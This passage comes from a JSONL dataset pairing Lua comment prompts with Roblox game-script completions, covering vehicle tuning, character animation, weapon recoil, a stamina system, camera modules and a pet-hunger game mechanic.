mode\t\t\t\t\t\t\t\t\t\t\t\t\t]]\n\t\n\t--Automatic Settings\n\tTune.AutoShiftMode\t= \"RPM\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Speed\"\t\t: Shifts based on wheel speed\n\t\t\"RPM\"\t\t: Shifts based on RPM\t\t\t\t\t\t\t\t\t\t\t]]\t\n\tTune.AutoUpThresh\t= -200\t\t--Automatic upshift point \t(relative to peak RPM, positive = Over-rev)\n\tTune.AutoDownThresh = 1400\t\t--Automatic downshift point (relative to peak RPM, positive = Under-rev)\n\t\n\t--Gear Ratios\n\tTune.FinalDrive\t\t= 3.70\t\t\t-- Gearing determines top speed and wheel torque\n\tTune.Ratios\t\t\t= {\t\t\t\t-- Higher ratio = more torque, Lower ratio = higher top speed\n\t\t--[[Reverse]]\t3.42\t\t,\t-- Copy and paste a ratio to add a gear\n\t\t--[[Neutral]]\t0\t\t\t,\t-- Ratios can also be deleted\n\t\t--[[ 1 ]]\t\t3.75\t\t,\t-- Reverse, Neutral, and 1st gear are required\n\t\t--[[ 2 ]]\t\t2.38\t\t,\n\t\t--[[ 3 ]]\t\t1.72\t\t,\n\t\t--[[ 4 ]]\t\t1.34\t\t,\n\t\t--[[ 5 ]]\t\t1.11\t\t,\n\t\t--[[ 6 ]]\t\t.78\t\t\t,\n\t}\n\tTune.FDMult\t\t\t= 1\t\t\t-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)\n\t"} +{"prompt": "----------------------------------------------\n--- \t\t\tScroll down for settings \t\t\t ---\n--- Do not alter the three variables below ---\n----------------------------------------------", "completion": "\nlocal settings = {};\t\t--// The settings table which contains all settings\nlocal Settings = settings; \t--// For custom commands that use 'Settings' rather than the lowercase 'settings'\nlocal descs = {};\t\t\t--// Contains settings descriptions"} +{"prompt": "--[[\n\t\n\t\n\t\n--]]", "completion": "\n\nlocal Players = game:GetService(\"Players\")\nlocal GuiService = game:GetService(\"GuiService\")\n"} +{"prompt": "-- functions", "completion": "\n\nfunction stopAllAnimations()\n\tlocal oldAnim = currentAnim\n\n\t-- return to idle if finishing an emote\n\tif (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then\n\t\toldAnim = \"idle\"\n\tend\n\n\tcurrentAnim = \"\"\n\tcurrentAnimInstance = nil\n\tif (currentAnimKeyframeHandler ~= nil) then\n\t\tcurrentAnimKeyframeHandler:disconnect()\n\tend\n\n\tif (currentAnimTrack ~= nil) then\n\t\tcurrentAnimTrack:Stop()\n\t\tcurrentAnimTrack:Destroy()\n\t\tcurrentAnimTrack = nil\n\tend\n\n\t-- clean up walk if there is one\n\tif (runAnimKeyframeHandler ~= nil) then\n\t\trunAnimKeyframeHandler:disconnect()\n\tend\n\t\n\tif (runAnimTrack ~= nil) then\n\t\trunAnimTrack:Stop()\n\t\trunAnimTrack:Destroy()\n\t\trunAnimTrack = nil\n\tend\n\t\n\treturn oldAnim\nend\n\nfunction getHeightScale()\n\tif Humanoid then\n\t\tlocal scale = Humanoid.HipHeight / 1.35\n\t\tif userAnimationSpeedDampening then\n\t\t\tif AnimationSpeedDampeningObject == nil then\n\t\t\t\tAnimationSpeedDampeningObject = script:FindFirstChild(\"ScaleDampeningPercent\")\n\t\t\tend\n\t\t\tif AnimationSpeedDampeningObject ~= nil then\n\t\t\t\tscale = 1 + (Humanoid.HipHeight - 1.35) * AnimationSpeedDampeningObject.Value / 1.35\n\t\t\tend\n\t\tend\n\t\treturn scale\n\tend\t\n\treturn 1\nend\n\nlocal smallButNotZero = 0.0001\nfunction setRunSpeed(speed)\n\tlocal speedScaled = speed * 1.25\n\tlocal heightScale = getHeightScale()\n\tlocal runSpeed = speedScaled / heightScale\n\n\tif runSpeed ~= currentAnimSpeed then\n\t\tif runSpeed < 0.33 then\n\t\t\tcurrentAnimTrack:AdjustWeight(1.0)\t\t\n\t\t\trunAnimTrack:AdjustWeight(smallButNotZero)\n\t\telseif runSpeed < 0.66 then\n\t\t\tlocal weight = ((runSpeed - 0.33) / 0.33)\n\t\t\tcurrentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero)\n\t\t\trunAnimTrack:AdjustWeight(weight + smallButNotZero)\n\t\telse\n\t\t\tcurrentAnimTrack:AdjustWeight(smallButNotZero)\n\t\t\trunAnimTrack:AdjustWeight(1.0)\n\t\tend\n\t\tcurrentAnimSpeed = runSpeed\n\t\trunAnimTrack:AdjustSpeed(runSpeed)\n\t\tcurrentAnimTrack:AdjustSpeed(runSpeed)\n\tend\t\nend\n\nfunction setAnimationSpeed(speed)\n\tif currentAnim == \"walk\" then\n\t\t\tsetRunSpeed(speed)\n\telse\n\t\tif speed ~= currentAnimSpeed then\n\t\t\tcurrentAnimSpeed = speed\n\t\t\tcurrentAnimTrack:AdjustSpeed(currentAnimSpeed)\n\t\tend\n\tend\nend\n\nfunction keyFrameReachedFunc(frameName)\n\tif (frameName == \"End\") then\n\t\tif currentAnim == \"walk\" then\n\t\t\tif userNoUpdateOnLoop == true then\n\t\t\t\tif runAnimTrack.Looped ~= true then\n\t\t\t\t\trunAnimTrack.TimePosition = 0.0\n\t\t\t\tend\n\t\t\t\tif currentAnimTrack.Looped ~= true then\n\t\t\t\t\tcurrentAnimTrack.TimePosition = 0.0\n\t\t\t\tend\n\t\t\telse\n\t\t\t\trunAnimTrack.TimePosition = 0.0\n\t\t\t\tcurrentAnimTrack.TimePosition = 0.0\n\t\t\tend\n\t\telse\n\t\t\tlocal repeatAnim = currentAnim\n\t\t\t-- return to idle if finishing an emote\n\t\t\tif (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then\n\t\t\t\trepeatAnim = \"idle\"\n\t\t\tend\n\t\t\t\n\t\t\tlocal animSpeed = currentAnimSpeed\n\t\t\tplayAnimation(repeatAnim, 0.15, Humanoid)\n\t\t\tsetAnimationSpeed(animSpeed)\n\t\tend\n\tend\nend\n\nfunction rollAnimation(animName)\n\tlocal roll = math.random(1, animTable[animName].totalWeight) \n\tlocal origRoll = roll\n\tlocal idx = 1\n\twhile (roll > animTable[animName][idx].weight) do\n\t\troll = roll - animTable[animName][idx].weight\n\t\tidx = idx + 1\n\tend\n\treturn idx\nend\n\nfunction playAnimation(animName, transitionTime, humanoid) \t\n\tlocal idx = rollAnimation(animName)\n\tlocal anim = animTable[animName][idx].anim\n\n\t-- switch animation\t\t\n\tif (anim ~= currentAnimInstance) then\n\t\t\n\t\tif (currentAnimTrack ~= nil) then\n\t\t\tcurrentAnimTrack:Stop(transitionTime)\n\t\t\tcurrentAnimTrack:Destroy()\n\t\tend\n\n\t\tif (runAnimTrack ~= nil) then\n\t\t\trunAnimTrack:Stop(transitionTime)\n\t\t\trunAnimTrack:Destroy()\n\t\t\tif userNoUpdateOnLoop == true then\n\t\t\t\trunAnimTrack = nil\n\t\t\tend\n\t\tend\n\n\t\tcurrentAnimSpeed = 1.0\n\t\n\t\t-- load it to the humanoid; get AnimationTrack\n\t\tcurrentAnimTrack = humanoid:LoadAnimation(anim)\n\t\tcurrentAnimTrack.Priority = Enum.AnimationPriority.Core\n\t\t \n\t\t-- play the animation\n\t\tcurrentAnimTrack:Play(transitionTime)\n\t\tcurrentAnim = animName\n\t\tcurrentAnimInstance = anim\n\n\t\t-- set up keyframe name triggers\n\t\tif (currentAnimKeyframeHandler ~= nil) then\n\t\t\tcurrentAnimKeyframeHandler:disconnect()\n\t\tend\n\t\tcurrentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)\n\t\t\n\t\t-- check to see if we need to blend a walk/run animation\n\t\tif animName == \"walk\" then\n\t\t\tlocal runAnimName = \"run\"\n\t\t\tlocal runIdx = rollAnimation(runAnimName)\n\n\t\t\trunAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)\n\t\t\trunAnimTrack.Priority = Enum.AnimationPriority.Core\n\t\t\trunAnimTrack:Play(transitionTime)\t\t\n\t\t\t\n\t\t\tif (runAnimKeyframeHandler ~= nil) then\n\t\t\t\trunAnimKeyframeHandler:disconnect()\n\t\t\tend\n\t\t\trunAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)\t\n\t\tend\n\tend\n\nend\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,VRecoil = {14,18}\t\t\t\t--- Vertical Recoil\n\t,HRecoil = {6,9}\t\t\t\t--- Horizontal Recoil\n\t,AimRecover = 1\t\t\t\t\t---- Between 0 & 1\n\t\n\t,RecoilPunch = .35\n\t,VPunchBase = 6\t\t\t\t\t--- Vertical Punch\n\t,HPunchBase = 2\t\t\t\t\t--- Horizontal Punch\n\t,DPunchBase = 1 \t\t\t\t--- Tilt Punch | useless\n\t\n\t,AimRecoilReduction = 1 \t\t--- Recoil Reduction Factor While Aiming (Do not set to 0)\n\t,PunchRecover = 0.2\n\t,MinRecoilPower = 1\n\t,MaxRecoilPower = 3\n\t,RecoilPowerStepAmount = .5\n\t\n\t,MinSpread = 4\t\t\t\t\t--- Min bullet spread value | Studs\n\t,MaxSpread = 40\t\t\t\t\t--- Max bullet spread value | Studs\n\t,AimInaccuracyStepAmount = 2.5\n\t,WalkMultiplier = 0\t\t\t\t--- Bullet spread based on player speed\n\n\t,SwayBase = 0.25\t\t\t\t--- Weapon Base Sway | Studs\n\t,MaxSway =\t1\t\t\t\t\t--- Max sway value based on player stamina | Studs"} +{"prompt": "--Loop For Making Rays For The Bullet's Trajectory", "completion": "\nfor i = 1, 30 do\n\tlocal thisOffset = offset + Vector3.new(0, yOffset*(i-1), 0)\n\tlocal travelRay = Ray.new(point1,thisOffset)\n\tlocal hit, position = workspace:FindPartOnRay(travelRay, parts.Parent)\n\n\tlocal distance \t\t= (position - point1).magnitude\n\tround.Size\t\t\t\t= Vector3.new(0.6, distance, 0.6)\n\tround.CFrame\t\t\t= CFrame.new(position, point1)\n\t\t\t\t\t\t\t\t* CFrame.new(0, 0, -distance/2)\n\t\t\t\t\t\t\t\t* CFrame.Angles(math.rad(90),0,0)\n\tround.Parent\t\t\t= workspace\n\tpoint1\t\t\t\t\t= point1 + thisOffset\n\t\n\tif hit then\n round:remove()\n local e = Instance.new(\"Explosion\")\n e.BlastRadius = 8\n e.BlastPressure = 1600\n e.Position = position\n e.Parent = workspace\n e.ExplosionType = Enum.ExplosionType.NoCraters\n e.DestroyJointRadiusPercent = 0.02\n \n local players = game.Players:getChildren()\n for i = 1, #players do\n \n if players[i].TeamColor ~= script.Parent.Parent.Tank.Value then --if he's not an ally\n character = players[i].Character\n if character then\n torso = character:findFirstChild'Torso'\n if torso then\n \n torsoPos = torso.Position\n origPos = round.Position\n \n local ray = Ray.new(origPos, torsoPos-origPos)\n local hit, position = game.Workspace:FindPartOnRayWithIgnoreList(ray,ignoreList)\n if hit then\n if hit.Parent == character then\n human = hit.Parent:findFirstChild(\"Humanoid\")\n if human then\n distance = (position-origPos).magnitude"} +{"prompt": "-- Make a base cosmetic bullet object. This will be cloned every time we fire off a ray.", "completion": "\nlocal CosmeticBullet = Instance.new(\"Part\")\nCosmeticBullet.Material = Enum.Material.Neon\nCosmeticBullet.Color = Color3.fromRGB(255, 225, 0)\nCosmeticBullet.CanCollide = false\nCosmeticBullet.Anchored = true\nCosmeticBullet.Size = Vector3.new(0.2, 0.2, 2.4)\n"} +{"prompt": "--// wonuf", "completion": "\n\nwait()\n\nlocal WeldHoldPart = script.Parent.Parent.Base --What everything will be welded to\n\nfunction weld(c1,c2)\n\tc2.Anchored = false\n\tlocal w = Instance.new(\"Weld\")\n\tw.Part0 = c1\n\tw.Part1 = c2\n\tw.C1 = c2.CFrame:inverse() * c1.CFrame\n\tw.Parent = WeldHoldPart\nend\n\nfunction scan(obj)\n\tfor _,v in pairs(obj:GetChildren()) do\n\t\tif v:IsA('BasePart') then\n\t\t\tweld(WeldHoldPart, v)\n\t\t\tscan(v)\n\t\telse\n\t\t\tscan(v)\n\t\tend\n\tend\nend\n\nscan(script.Parent) --Whatever you want to scan/weld"} +{"prompt": "--[[Brakes]]", "completion": "\nTune.ABSEnabled\t\t= true\t\t-- Implements ABS\nTune.ABSThreshold\t= 20\t\t-- Slip speed allowed before ABS starts working (in SPS) \n\nTune.FBrakeForce\t= 2800\t\t-- Front brake force\nTune.RBrakeForce\t= 2200\t\t-- Rear brake force\nTune.PBrakeForce\t= 4000\t\t-- Handbrake force\n\nTune.FLgcyBForce\t= 15000\t\t-- Front brake force [PGS OFF]\nTune.RLgcyBForce\t= 10000\t\t-- Rear brake force [PGS OFF]\nTune.LgcyPBForce\t= 25000\t\t-- Handbrake force [PGS OFF]\n"} +{"prompt": "-- -- -- -- -- -- -- -- -- -- -- -- -- -- --\n--Intoducing: Ramen can't script for crap--\n-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- ", "completion": "\n\n\nElevator:WaitForChild(\"Direction\").Changed:connect(function(val)\n\tif val == 1 then\n\t\tThis.Display.ARW1.UP.BrickColor = BrickColor.new(ActiveColour)\n\t\tThis.Display.ARW1.UP.Material = \"Neon\"\n\t\tThis.Display.ARW1.UP2.BrickColor = BrickColor.new(ActiveColour)\n\t\tThis.Display.ARW1.UP2.Material = \"Neon\"\n\t\tThis.Display.ARW1.MID.BrickColor = BrickColor.new(ActiveColour)\n\t\tThis.Display.ARW1.MID.Material = \"Neon\"\n\t\tThis.Display.ARW1.DOWN.BrickColor = BrickColor.new(InactiveColour)\n\t\tThis.Display.ARW1.DOWN.Material = \"SmoothPlastic\"\n\t\tThis.Display.ARW1.DOWN2.BrickColor = BrickColor.new(InactiveColour)\n\t\tThis.Display.ARW1.DOWN2.Material = \"SmoothPlastic\"\n\telseif val == -1 then\n\t\tThis.Display.ARW1.UP.BrickColor = BrickColor.new(InactiveColour)\n\t\tThis.Display.ARW1.UP.Material = \"SmoothPlastic\"\n\t\tThis.Display.ARW1.UP2.BrickColor = BrickColor.new(InactiveColour)\n\t\tThis.Display.ARW1.UP2.Material = \"SmoothPlastic\"\n\t\tThis.Display.ARW1.DOWN.BrickColor = BrickColor.new(ActiveColour)\n\t\tThis.Display.ARW1.DOWN.Material = \"Neon\"\n\t\tThis.Display.ARW1.DOWN2.BrickColor = BrickColor.new(ActiveColour)\n\t\tThis.Display.ARW1.DOWN2.Material = \"Neon\"\n\t\tThis.Display.ARW1.MID.BrickColor = BrickColor.new(ActiveColour)\n\t\tThis.Display.ARW1.MID.Material = \"Neon\"\n\telse\n\t\tThis.Display.ARW1.UP.BrickColor = BrickColor.new(InactiveColour)\n\t\tThis.Display.ARW1.UP.Material = \"SmoothPlastic\"\n\t\tThis.Display.ARW1.UP2.BrickColor = BrickColor.new(InactiveColour)\n\t\tThis.Display.ARW1.UP2.Material = \"SmoothPlastic\"\n\t\tThis.Display.ARW1.DOWN.BrickColor = BrickColor.new(InactiveColour)\n\t\tThis.Display.ARW1.DOWN.Material = \"SmoothPlastic\"\n\t\tThis.Display.ARW1.DOWN2.BrickColor = BrickColor.new(InactiveColour)\n\t\tThis.Display.ARW1.DOWN2.Material = \"SmoothPlastic\"\n\t\tThis.Display.ARW1.MID.BrickColor = BrickColor.new(InactiveColour)\n\t\tThis.Display.ARW1.MID.Material = \"SmoothPlastic\"\n\tend\nend)\n"} +{"prompt": "-- \tlocal function deleteProperty(_target: unknown, key: any)\n-- \t\treal[tostring(key)] = nil\n-- \t\tlookup[tostring(key)] = nil\n-- \t\treturn true\n-- \tend", "completion": "\n"} +{"prompt": "--[[\n\tLegacyCamera - Implements legacy controller types: Attach, Fixed, Watch\n\t2018 Camera Update - AllYourBlox\n--]]", "completion": "\n\nlocal ZERO_VECTOR2 = Vector2.new()\nlocal PITCH_LIMIT = math.rad(80)\n\nlocal Util = require(script.Parent:WaitForChild(\"CameraUtils\"))\nlocal CameraInput = require(script.Parent:WaitForChild(\"CameraInput\"))\n"} +{"prompt": "-- Called when character is about to be removed", "completion": "\nfunction BaseOcclusion:CharacterRemoving(char: Model, player: Player)\nend\n\nfunction BaseOcclusion:OnCameraSubjectChanged(newSubject)\nend\n"} +{"prompt": "--[=[\n\tSame as `Fire`, but uses `task.defer` internally & doesn't take advantage of thread reuse.\n\n\t@param ... any -- Arguments to pass to the connected functions\n]=]", "completion": "\nfunction Signal:FireDeferred(...)\n\tlocal item = self._handlerListHead\n\twhile item do\n\t\ttask.defer(item._fn, ...)\n\t\titem = item._next\n\tend\nend\n\n"} +{"prompt": "------------------\n--SPAWNING--\n------------------", "completion": "\n\nmiked=script.Parent\n\nitlh=miked.Torso:findFirstChild(\"Left Hip\")\nitlh.Part0=miked.Torso\nitlh.Part1=miked:findFirstChild(\"Left Leg\")\nitlh.C0=CFrame.new(-1, 0, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)\n\nitrh=miked.Torso:findFirstChild(\"Right Hip\")\nitrh.Part0=miked.Torso\nitrh.Part1=miked:findFirstChild(\"Right Leg\")\nitrh.C0=CFrame.new(1, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)\n\nitls=miked.Torso:findFirstChild(\"Left Shoulder\")\nitls.Part1=miked.Torso\nitls.C0=CFrame.new(2, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)\nitls.Part0=miked:findFirstChild(\"Left Arm\")\n\nitrs=miked.Torso:findFirstChild(\"Right Shoulder\")\nitrs.Part1=miked.Torso\nitrs.C0=CFrame.new(-2, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)\nitrs.Part0=miked:findFirstChild(\"Right Arm\")\n\nmiked.Head:makeJoints()"} +{"prompt": "--[[Steering]]", "completion": "\n\tTune.SteerInner\t\t= 36\t\t-- Inner wheel steering angle (in degrees)\n\tTune.SteerOuter\t\t= 37\t\t-- Outer wheel steering angle (in degrees)\n\tTune.SteerSpeed\t\t= .07\t\t-- Steering increment per tick (in degrees)\n\tTune.ReturnSpeed\t= .14\t\t-- Steering increment per tick (in degrees)\n\tTune.SteerDecay\t\t= 320\t\t-- Speed of gradient cutoff (in SPS)\n\tTune.MinSteer\t\t= 10\t\t-- Minimum steering at max steer decay (in percent)\n\tTune.MSteerExp\t\t= 1\t\t\t-- Mouse steering exponential degree\n\t\n\t--Steer Gyro Tuning\n\tTune.SteerD\t\t\t= 1000\t\t-- Steering Dampening\n\tTune.SteerMaxTorque\t= 50000\t\t-- Steering Force\n\tTune.SteerP\t\t\t= 100000\t-- Steering Aggressiveness\n\t"} +{"prompt": "---- Create motors", "completion": "\nlocal rightMotor = Instance.new(\"Motor\")\nrightMotor.Name = \"rightMotor\"\nrightMotor.Parent = cabinet.RightWall\nrightMotor.Part0 = cabinet.RightWall\nrightMotor.Part1 = cabinet.RightDoor\nrightMotor.C0 = CFrame.new(0,0,-cabinet.RightWall.Size.Z/2-cabinet.RightDoor.Size.Z/2) * CFrame.Angles(math.pi/2,0,0)\nrightMotor.C1 = CFrame.new(cabinet.RightDoor.Size.X/2-cabinet.RightWall.Size.X/2,0,0) * CFrame.Angles(-3*math.pi/2,0,0)\nrightMotor.MaxVelocity = .1\n\nlocal leftMotor = Instance.new(\"Motor\")\nleftMotor.Name = \"leftMotor\"\nleftMotor.Parent = cabinet.LeftWall\nleftMotor.Part0 = cabinet.LeftWall\nleftMotor.Part1 = cabinet.LeftDoor\nleftMotor.C0 = CFrame.new(0,0,-cabinet.LeftWall.Size.Z/2-cabinet.LeftDoor.Size.Z/2) * CFrame.Angles(-math.pi/2,0,0)\nleftMotor.C1 = CFrame.new(-cabinet.LeftDoor.Size.X/2+cabinet.LeftWall.Size.X/2,0,0) * CFrame.Angles(3*math.pi/2,0,0)\nleftMotor.MaxVelocity = .1\n"} +{"prompt": "-- Hide the actual Topbar", "completion": "\nplayerGui:SetTopbarTransparency(TOPBAR_TRANSPARENCY)\n\n\n"} +{"prompt": "-- ROBLOX FIXME: these *should* return a function, but they don't. we're misaligned on types and implementation here", "completion": "\nlocal function getSnapshotColorForChalkInstance(chalkInstance: Chalk): any --: DiffOptionsColor\n\t-- return function(_: string): string\n\tlocal level = chalkInstance.level\n\n\tif level == 3 then\n\t\treturn chalkInstance.rgb(aForeground3[1], aForeground3[2], aForeground3[3])\n\t\t\t.. chalkInstance.bgRgb(aBackground3[1], aBackground3[2], aBackground3[3])\n\tend\n\n\tif level == 2 then\n\t\treturn chalkInstance.ansi256(aForeground2) .. chalkInstance.bgAnsi256(aBackground2)\n\tend\n\n\treturn chalkInstance.magenta .. chalk.bgYellowBright\n\t-- end\nend\n"} +{"prompt": "-- helpers", "completion": "\nlocal Util = script.Parent.Parent.Util\nlocal Http = script.Parent\nlocal HttpResponse = require(Http.HttpResponse)\nlocal HttpError = require(Http.HttpError)\nlocal Promise = require(Util.Promise)\nlocal recursiveToString = require(Util.recursiveToString)\n\n"} +{"prompt": "-- local deepCyclicCopy = require(script.Parent.deepCyclicCopy).default", "completion": "\n"} +{"prompt": "-- Variables for Module Scripts", "completion": "\nlocal screenSpace = require(Tool:WaitForChild(\"ScreenSpace\"))\n\nlocal connection"} +{"prompt": "--// Modules", "completion": "\nlocal L_117_ = require(L_22_:WaitForChild(\"Utilities\"))\nlocal L_118_ = require(L_22_:WaitForChild(\"Spring\"))\nlocal L_119_ = require(L_22_:WaitForChild(\"Plugins\"))\nlocal L_120_ = require(L_22_:WaitForChild(\"easing\"))\n\nlocal L_121_ = L_117_.Fade\nlocal L_122_ = L_117_.SpawnCam\nlocal L_123_ = L_117_.FixCam\nlocal L_124_ = L_117_.tweenFoV\nlocal L_125_ = L_117_.tweenCam\nlocal L_126_ = L_117_.tweenRoll\nlocal L_127_ = L_117_.TweenJoint\n\nlocal L_128_ = L_117_.Weld\n"} +{"prompt": "--------------------", "completion": "\n\nlocal function ChangeSpeed(spd)\n\tlocal char = plr.Character\n\tlocal humanoid\n\tif char then\n\t\thumanoid = char:FindFirstChildWhichIsA(\"Humanoid\")\n\tend\n\tif humanoid.WalkSpeed ~= spd then -- Preventing remote spam.\n\t\tevent:FireServer(1055299,spd)\n\tend\nend\n\ngame:GetService(\"UserInputService\").InputBegan:Connect(function(key)\n\tif key.KeyCode == Enum.KeyCode.LeftShift or key.KeyCode == Enum.KeyCode.RightShift then\n\t\trunning = true\n\tend\nend)\ngame:GetService(\"UserInputService\").InputEnded:Connect(function(key)\n\tif key.KeyCode == Enum.KeyCode.LeftShift or key.KeyCode == Enum.KeyCode.RightShift then\n\t\trunning = false\n\tend\nend)\n\nwhile wait() do\n\tif enabled.Value == true then\n\t\tif humanoid then\n\t\t\tif humanoid.MoveDirection == Vector3.new(0,0,0) then moving = false else moving = true end\n\t\t\tif tired then \n\t\t\t\tChangeSpeed(exhaust.Value) -- Rest\n\t\t\t\tFrame.Rest1.Visible = true\n\t\t\t\tFrame.Rest2.Visible = true\n\t\t\t\tif not moving then\n\t\t\t\t\tstamina = stamina + 1\n\t\t\t\tend\n\t\t\t\tif stamina > 0 then\n\t\t\t\t\ttired = false\n\t\t\t\t\tFrame.Rest1.Visible = false\n\t\t\t\t\tFrame.Rest2.Visible = false\n\t\t\t\t\tFrame.GreenBar:TweenSize(UDim2.new(3.5*stamina/875,0, 0,25), \"Out\", \"Quad\", 0.1, true)\n\t\t\t\tend\n\t\t\telseif running == true then\n\t\t\t\tif moving then\n\t\t\t\t\tChangeSpeed(run.Value) -- Sprint\n\t\t\t\t\tstamina = stamina - 1\n\t\t\t\t\tFrame.GreenBar:TweenSize(UDim2.new(3.5*stamina/875,0, 0,25), \"Out\", \"Quad\", 0.1, true)\n\t\t\t\t\tif stamina == 0 then tired = true stamina = -10 end\n\t\t\t\telseif stamina < 250 then\n\t\t\t\t\tstamina = stamina + 1\n\t\t\t\t\tFrame.GreenBar:TweenSize(UDim2.new(3.5*stamina/875,0, 0,25), \"Out\", \"Quad\", 0.1, true)\n\t\t\t\tend\n\t\t\telse ChangeSpeed(walk.Value) -- Walk\n\t\t\t\tif not moving and stamina < 250 then\n\t\t\t\t\tstamina = stamina + 1\n\t\t\t\t\tFrame.GreenBar:TweenSize(UDim2.new(3.5*stamina/875,0, 0,25), \"Out\", \"Quad\", 0.1, true)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "--[=[\n\t@within TableUtil\n\t@function Truncate\n\t@param tbl table\n\t@param length number\n\t@return table\n\n\tReturns a new table truncated to the length of `length`. Any length\n\tequal or greater than the current length will simply return a\n\tshallow copy of the table.\n\n\t```lua\n\tlocal t = {10, 20, 30, 40, 50, 60, 70, 80}\n\tlocal tTruncated = TableUtil.Truncate(t, 3)\n\tprint(tTruncated) --> {10, 20, 30}\n\t```\n]=]", "completion": "\nlocal function Truncate(tbl: { T }, len: number): { T }\n\tlocal n = #tbl\n\tlen = math.clamp(len, 1, n)\n\treturn if len == n then table.clone(tbl) else table.move(tbl, 1, len, 1, table.create(len))\nend\n"} +{"prompt": "-- Sets the parent of all cached parts.", "completion": "\nfunction PartCacheStatic:SetCacheParent(newParent: Instance)\n\tassert(getmetatable(self) == PartCacheStatic, ERR_NOT_INSTANCE:format(\"SetCacheParent\", \"PartCache.new\"))\n\tassert(newParent:IsDescendantOf(workspace) or newParent == workspace, \"Cache parent is not a descendant of Workspace! Parts should be kept where they will remain in the visible world.\")\n\t\n\tself.CurrentCacheParent = newParent\n\tfor i = 1, #self.Open do\n\t\tself.Open[i].Parent = newParent\n\tend\n\tfor i = 1, #self.InUse do\n\t\tself.InUse[i].Parent = newParent\n\tend\nend\n"} +{"prompt": "---[[ Fade Out and In Settings ]]", "completion": "\nmodule.ChatWindowBackgroundFadeOutTime = 3.5 --Chat background will fade out after this many seconds.\nmodule.ChatWindowTextFadeOutTime = 30 --Chat text will fade out after this many seconds.\nmodule.ChatDefaultFadeDuration = 0.8\nmodule.ChatShouldFadeInFromNewInformation = false\nmodule.ChatAnimationFPS = 20.0\n"} +{"prompt": "--[[\n\tIf an error string was generated from an Error object via the errorToString\n\tfunction above, it can be easily split back out into an informative error\n\tobject.\n]]", "completion": "\nlocal function parseReactError(error_: string): (Error, string)\n\tlocal split = string.split(error_, DIVIDER)\n\n\tif #split == 3 then\n\t\tlocal rethrow, message, stack = table.unpack(split)\n\n\t\tlocal newError = Error.new(message)\n\t\tnewError.stack = stack\n\n\t\treturn newError, rethrow\n\telse\n\t\t-- This error was not in the expected format, so we use the whole string\n\t\t-- as the 'message' value and nil out the stack (it would be misleading\n\t\t-- if we included the one generated here)\n\t\tlocal newError = Error.new(error_)\n\t\tnewError.stack = nil\n\n\t\treturn newError, \"\"\n\tend\nend\n\nreturn {\n\tdescribeError = describeError,\n\terrorToString = errorToString,\n\tparseReactError = parseReactError,\n\t-- Used only by tests\n\t__ERROR_DIVIDER = DIVIDER,\n}\n"} +{"prompt": "--// bolekinds", "completion": "\n\nscript.Parent.Text = \"Hunger:\"..game.ServerStorage.ServerData.Hunger.Value\nlocal sleeping = false\nlocal debris = game:GetService(\"Debris\")\n\ngame.ServerStorage.ServerData.Hunger.Changed:Connect(function()\n\tif game.ServerStorage.ServerData.Hunger.Value <= 40 then\n\t\tscript.Parent.TextColor3 = Color3.fromRGB(255,0,0)\n\telse\n\t\tscript.Parent.TextColor3 = Color3.fromRGB(255,255,255)\n\tend\n\tif game.ServerStorage.ServerData.Hunger.Value < 1 then\n\t\tworkspace[\"Floppa NPC\"][\"Floppa cube\"].Death:Play()\n\t\tfor i = 25,0,-1 do\n\t\t\tlocal explosion = Instance.new(\"Explosion\")\n\t\t\texplosion.Position = workspace[\"Floppa NPC\"][\"Floppa cube\"].Position\n\t\t\texplosion.BlastRadius = 100\n\t\t\texplosion.BlastPressure = 60\n\t\t\texplosion.Parent = workspace\n\t\tend\n\t\tfor i, v in ipairs(game.Players:GetPlayers()) do\n\t\t\tv:Kick(\"your floppa died\")\n\t\tend\n\tend\n\tscript.Parent.Text = \"Hunger:\"..game.ServerStorage.ServerData.Hunger.Value\nend)\n\ngame.Lighting:GetPropertyChangedSignal(\"ClockTime\"):Connect(function()\n\tif game.ServerStorage.ServerData.CatBed.Value == true then\n\t\tif game.Lighting.ClockTime == 3 then\n\t\t\tif workspace[\"Floppa NPC\"].GoingTo.Value ~= nil then\n\t\t\t\trepeat wait() until workspace[\"Floppa NPC\"].GoingTo.Reached.Value == true\n\t\t\tend\n\t\t\tworkspace[\"Floppa NPC\"].GoingTo.Value = workspace[\"Cat Bed\"].Primary\n\t\t\trepeat wait() until workspace[\"Floppa NPC\"].GoingTo.Reached.Value == true\n\t\t\tworkspace[\"Floppa NPC\"].Humanoid.WalkSpeed = 0\n\t\t\tworkspace[\"Floppa NPC\"][\"Floppa cube\"].zzz:Play()\n\t\t\tsleeping = true\n\t\tend\n\t\tif game.Lighting.ClockTime == 7 then\n\t\t\tsleeping = false\n\t\t\tworkspace[\"Floppa NPC\"].Humanoid.WalkSpeed = 9\n\t\t\tworkspace[\"Floppa NPC\"][\"Floppa cube\"].zzz:Stop()\n\t\t\tlocal ccc = game.ServerStorage[\"Money Bag2\"]:Clone()\n\t\t\tccc.CFrame = workspace[\"Floppa NPC\"][\"Floppa cube\"].CFrame\n\t\t\tfor i, v in ipairs(workspace[\"Floppa NPC\"]:GetChildren()) do \n\t\t\t\tif v:IsA(\"BasePart\") then\n\t\t\t\t\tlocal NoCollision = Instance.new(\"NoCollisionConstraint\")\n\t\t\t\t\tNoCollision.Part0 = v\n\t\t\t\t\tNoCollision.Part1 = ccc\n\t\t\t\t\tNoCollision.Parent = ccc\n\t\t\t\tend\n\t\t\tend\n\t\t\tccc.Parent = workspace\n\t\t\tdebris:AddItem(ccc, 